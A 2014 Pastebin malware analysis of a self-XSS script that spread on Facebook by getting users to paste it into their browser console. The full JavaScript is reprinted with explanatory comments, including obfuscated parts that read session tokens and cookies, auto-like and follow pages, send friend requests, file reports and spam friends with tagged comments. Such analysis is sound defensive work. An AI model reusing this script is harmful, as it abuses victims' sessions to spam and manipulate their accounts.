Advertisement
elninja

Facebook Malware Analysis

Feb 3rd, 2014
3,858
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // I first saw this code on 2014-02-01 around midnight
  2. // this is the source code that was being posted in facebook that night,
  3. // it is a self cross site script attack, people where lead to copy-paste
  4. // this into their browser console.
  5.  
  6. // in short: it spams your friends by linking them to comments on the page
  7. // it opens up a little window and plays some music while its at it.
  8. // I was able to deduce the behavior of the script, if you plan to read
  9. // you will need some knowledge of Javascript and AJAX to fully understand
  10. // how the script does it.
  11.  
  12. // Though, it doesn't contain any exploits of any kind, so it's
  13. // not fault of facebook in any way. The users themselves are
  14. // to blame for the spamming.
  15.  
  16. var parent = document.getElementsByTagName("html")[0];
  17. var _body = document.getElementsByTagName('body')[0];
  18.  
  19. // Create a new div
  20. var _div = document.createElement('div');
  21. _div.style.height = "25";
  22. _div.style.width = "100%";
  23. _div.style.position = "fixed";
  24. _div.style.top = "auto";
  25. _div.style.bottom = "0";
  26. _div.align = "center";
  27.  
  28. // Add new audio element
  29. var _audio = document.createElement('audio');
  30. _audio.style.width = "100%";
  31. _audio.style.height = "25px";
  32. _audio.controls = true;
  33. _audio.autoplay = false;
  34. _audio.autoplay = true;
  35.  
  36. // Super Mario Ringtone.mp3 ?
  37. _audio.src = "http://picosong.com/YPGz";
  38. _div.appendChild(_audio);
  39. _body.appendChild(_div);
  40.  
  41. // i suspect this is a token facebook uses to identify a user's request
  42. // it is used to hash requests in order to validate them (phstamp)
  43. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44.  
  45. // this is an object carrying the users unique facebook id
  46. // it is NOT only a string with the user id, to get solely the user_id a
  47. // document.cookie.match(/c_user=(\d+)/)[1]) would suffice.
  48. // note that the current session can be highjacked with access to the cookie
  49. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  50.  
  51.  
  52. // the variables are unnecessarily redeclared
  53. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  54. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  55.  
  56.  
  57. // follow a facebook page
  58. // abone is the profile id to be followed
  59. function a(abone) {
  60.     var http4 = new XMLHttpRequest;
  61.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  62.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  63.     http4.open("POST", url4, true);
  64.     http4.onreadystatechange = function () {
  65.         if (http4.readyState == 4 && http4.status == 200) http4.close
  66.     };
  67.     http4.send(params4)
  68. }
  69.  
  70. // executes the previous function with an empty string as a parameter
  71. // therefore it dosen't follow anybody.
  72. // This function is not called anywhere else in the script
  73. a("");
  74.  
  75. // subscribes to a set of facebook pages/users
  76. // uidss is a String array
  77. function sublist(uidss) {
  78.     // create a new script element inside the scope of the page
  79.     // seems unnecessary since we already have script access
  80.     var a = document.createElement('script');
  81.  
  82.     // uidss is not serialized as expected in this expression
  83.     a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  84.  
  85.     // places script node in the body of the page
  86.     document.body.appendChild(a)
  87. }
  88.  
  89. // the user_id variable is re-declared once again (3rd time)
  90. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  91. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  92.  
  93. // get the timestamp
  94. var now = (new Date).getTime();
  95.  
  96. function P(post) {
  97.     var X = new XMLHttpRequest();
  98.     var XURL = "//www.facebook.com/ajax/ufi/like.php";
  99.     var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  100.     X.open("POST", XURL, true);
  101.     X.onreadystatechange = function () {
  102.         if (X.readyState == 4 && X.status == 200) {
  103.             X.close
  104.         }
  105.     };
  106.     X.send(XParams)
  107. }
  108.  
  109. // 4th time these variables are re-declared
  110. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  111. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  112.  
  113. // This code Likes a facebook page, don't know if it works,
  114. // it seems like its missing the phstamp hash, not confirmed
  115. // but phstamp might be only required for administrator requests
  116. function Like(p) {
  117.     var Page = new XMLHttpRequest();
  118.     var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  119.     var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  120.     Page.open("POST", PageURL, true);
  121.     Page.onreadystatechange = function () {
  122.         if (Page.readyState == 4 && Page.status == 200) {
  123.             Page.close
  124.         }
  125.     };
  126.     Page.send(PageParams)
  127. }
  128.  
  129.  
  130.  
  131. Like("185309954944253");
  132.  
  133. // This function creates a friend request
  134. function IDS(r) {
  135.     var X = new XMLHttpRequest();
  136.     var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  137.     var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  138.     X.open("POST", XURL, true);
  139.     X.onreadystatechange = function () {
  140.         if (X.readyState == 4 && X.status == 200) {
  141.             X.close
  142.         }
  143.     };
  144.     X.send(XParams)
  145. }
  146.  
  147.  
  148. Like("1376249559308318");
  149.  
  150.  
  151. // From here on, the code is ofuscated. By evaluating pieces of code one is able
  152. // to get the source code. These are some of the strings used in the code: (giving a good idea what it does)
  153. //
  154. // var _0xb161 = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime",
  155. // "//www.facebook.com/ajax/report/social.php", "fb_dtsg=",
  156. // "&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A",
  157. // "%2C%22content_type%22%3A0%2C%22expand_report%22%3A…ertt7%22%2C%22report_type%22%3A145%2C%22rid%22%3A",
  158. // "%2C%22sub_report_type%22%3A3%2C%22time_flow_started%22%3A", "%2C%22user%22%3A",
  159. // "%7D&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880",
  160. // "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"];
  161.  
  162. var _0xb161 = ["\x76\x61\x6C\x75\x65", "\x66\x62\x5F\x64\x74\x73\x67", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65", "\x6D\x61\x74\x63\x68", "\x63\x6F\x6F\x6B\x69\x65", "\x67\x65\x74\x54\x69\x6D\x65", "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70", "\x66\x62\x5F\x64\x74\x73\x67\x3D", "\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41", "\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D", "\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30", "\x50\x4F\x53\x54", "\x6F\x70\x65\x6E", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x63\x6C\x6F\x73\x65", "\x73\x65\x6E\x64", "\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];
  163.  
  164.  
  165. // THIS:
  166. var fb_dtsg = document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];
  167. var user_id = document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);
  168. var now = (new Date)[_0xb161[5]]();
  169.  
  170. // Is exactly the same as:
  171. // var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  172. // var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  173. // var now = (new Date).getTime();
  174.  
  175. function Report(_0x45e7x5) {
  176.     var _0x45e7x6 = new XMLHttpRequest();
  177.     var _0x45e7x7 = _0xb161[6];
  178.     var _0x45e7x8 = _0xb161[7] + fb_dtsg + _0xb161[8] + _0x45e7x5 + _0xb161[9] + _0x45e7x5 + _0xb161[10] + now + _0xb161[11] + user_id + _0xb161[12] + user_id + _0xb161[13];
  179.     _0x45e7x6[_0xb161[15]](_0xb161[14], _0x45e7x7, true);
  180.     _0x45e7x6[_0xb161[16]] = function () {
  181.         if (_0x45e7x6[_0xb161[17]] == 4 && _0x45e7x6[_0xb161[18]] == 200) {
  182.             _0x45e7x6[_0xb161[19]];
  183.         };
  184.     };
  185.     _0x45e7x6[_0xb161[20]](_0x45e7x8);
  186. };
  187.  
  188.  
  189. // More strings that are later referenced.
  190. // In view that there are multiple string arrays, some parts of the code where ofuscated at
  191. // different times by different methods, it demostrates that the so called "hacker" has an unusually
  192. // high ability to copy-paste source code from the internet.
  193. var _0xa22c = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "1382559332008832",
  194. "onreadystatechange", "readyState", "arkadaslar = ", "for (;;);", "", "replace", "responseText",
  195. ";", "length", "entries", "payload", "round", " @[", "uid", ":", "text", "]", " ",
  196. "\x26filter[0]=user", "\x26options[0]=friends_only", "\x26options[1]=nm", "\x26token=v7",
  197. "\x26viewer=", "\x26__user=", "https://", "indexOf", "URL", "GET",
  198. "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "open",
  199. "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "send", "random", "floor",
  200. "\x26ft_ent_identifier=", "\x26comment_text=", "\x26source=2", "\x26client_id=1377871797138:1707018092",
  201. "\x26reply_fbid", "\x26parent_comment_id", "\x26rootid=u_jsonp_2_3",
  202. "\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:", "}",
  203. "\x26attached_sticker_fbid=0", "\x26attached_photo_fbid=0", "\x26giftoccasion", "\x26ft[tn]=[]", "\x26__a=1",
  204. "\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo", "\x26__req=q", "\x26fb_dtsg=", "\x26ttstamp=", "POST",
  205. "/ajax/ufi/add_comment.php", "Content-type", "application/x-www-form-urlencoded", "setRequestHeader",
  206. "status", "close"];
  207.  
  208. // Again this code is redeclared (6th time now)
  209. var fb_dtsg = document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];
  210. var user_id = document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);
  211. var id = _0xa22c[5];
  212.  
  213. // Initializes an empty array
  214. var arkadaslar = [];
  215. // Initializes a variable (possibly a vestige of a Subversion)
  216. // note that this is not used anywhere
  217. var svn_rev;
  218.  
  219. // From here on, it simply gets your friends ids and spams them by including them in comments.
  220. function arkadaslari_al(id) {
  221.     var _0x7892x7 = new XMLHttpRequest();
  222.     _0x7892x7[_0xa22c[6]] = function () {
  223.         if (_0x7892x7[_0xa22c[7]] == 4) {
  224.             eval(_0xa22c[8] + _0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9], _0xa22c[10]) + _0xa22c[13]);
  225.             for (f = 0; f < Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]] / 27); f++) {
  226.                 mesaj = _0xa22c[10];
  227.                 mesaj_text = _0xa22c[10];
  228.                 for (i = f * 27; i < (f + 1) * 27; i++) {
  229.                     if (arkadaslar[_0xa22c[16]][_0xa22c[15]][i]) {
  230.                         mesaj += _0xa22c[18] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]] + _0xa22c[20] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]] + _0xa22c[22];
  231.                         mesaj_text += _0xa22c[23] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];
  232.                     };
  233.                 };
  234.                 yorum_yap(id, mesaj);
  235.             };
  236.         };
  237.     };
  238.     var _0x7892x8 = _0xa22c[24];
  239.     _0x7892x8 += _0xa22c[25];
  240.     _0x7892x8 += _0xa22c[26];
  241.     _0x7892x8 += _0xa22c[27];
  242.     _0x7892x8 += _0xa22c[28] + user_id;
  243.     _0x7892x8 += _0xa22c[29] + user_id;
  244.     if (document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30]) >= 0) {
  245.         _0x7892x7[_0xa22c[35]](_0xa22c[33], _0xa22c[34] + _0x7892x8, true);
  246.     } else {
  247.         _0x7892x7[_0xa22c[35]](_0xa22c[33], _0xa22c[36] + _0x7892x8, true);
  248.     };
  249.     _0x7892x7[_0xa22c[37]]();
  250. };
  251.  
  252. function RandomArkadas() {
  253.     var _0x7892xa = _0xa22c[10];
  254.  
  255.     for (i = 0; i < 9; i++) {
  256.         _0x7892xa += _0xa22c[18] + arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]() * arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]] + _0xa22c[20] + arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]() * arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]] + _0xa22c[22];
  257.     };
  258.     return _0x7892xa;
  259. };
  260.  
  261. function yorum_yap(id, _0x7892xc) {
  262.     var _0x7892xd = new XMLHttpRequest();
  263.     var _0x7892x8 = _0xa22c[10];
  264.     _0x7892x8 += _0xa22c[40] + id;
  265.     _0x7892x8 += _0xa22c[41] + encodeURIComponent(_0x7892xc);
  266.     _0x7892x8 += _0xa22c[42];
  267.     _0x7892x8 += _0xa22c[43];
  268.     _0x7892x8 += _0xa22c[44];
  269.     _0x7892x8 += _0xa22c[45];
  270.     _0x7892x8 += _0xa22c[46];
  271.     _0x7892x8 += _0xa22c[47] + id + _0xa22c[48];
  272.     _0x7892x8 += _0xa22c[49];
  273.     _0x7892x8 += _0xa22c[50];
  274.     _0x7892x8 += _0xa22c[51];
  275.     _0x7892x8 += _0xa22c[52];
  276.     _0x7892x8 += _0xa22c[29] + user_id;
  277.     _0x7892x8 += _0xa22c[53];
  278.     _0x7892x8 += _0xa22c[54];
  279.     _0x7892x8 += _0xa22c[55];
  280.     _0x7892x8 += _0xa22c[56] + fb_dtsg;
  281.     _0x7892x8 += _0xa22c[57];
  282.     _0x7892xd[_0xa22c[35]](_0xa22c[58], _0xa22c[59], true);
  283.     _0x7892xd[_0xa22c[62]](_0xa22c[60], _0xa22c[61]);
  284.     _0x7892xd[_0xa22c[6]] = function () {
  285.         if (_0x7892xd[_0xa22c[7]] == 4 && _0x7892xd[_0xa22c[63]] == 200) {
  286.             _0x7892xd[_0xa22c[64]];
  287.         };
  288.     };
  289.     _0x7892xd[_0xa22c[37]](_0x7892x8);
  290. };
  291. arkadaslari_al(id);
  292.  
  293.  
  294. /* Conclusion:
  295.  * This script was clearly done by a script kiddie, there are tons of copy-pasted code and obvious
  296.  * errors within making portions of the script unusable and redundant.
  297.  *
  298.  * Its amazing people actually paste this code into their browser, even when they are educated not
  299.  * to do so.
  300.  *
  301.  * I guess these are the same people that get told not to eat glue at school.
  302.  *
  303.  * By: El Ninja
  304.  * 2014-02-03
  305.  */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement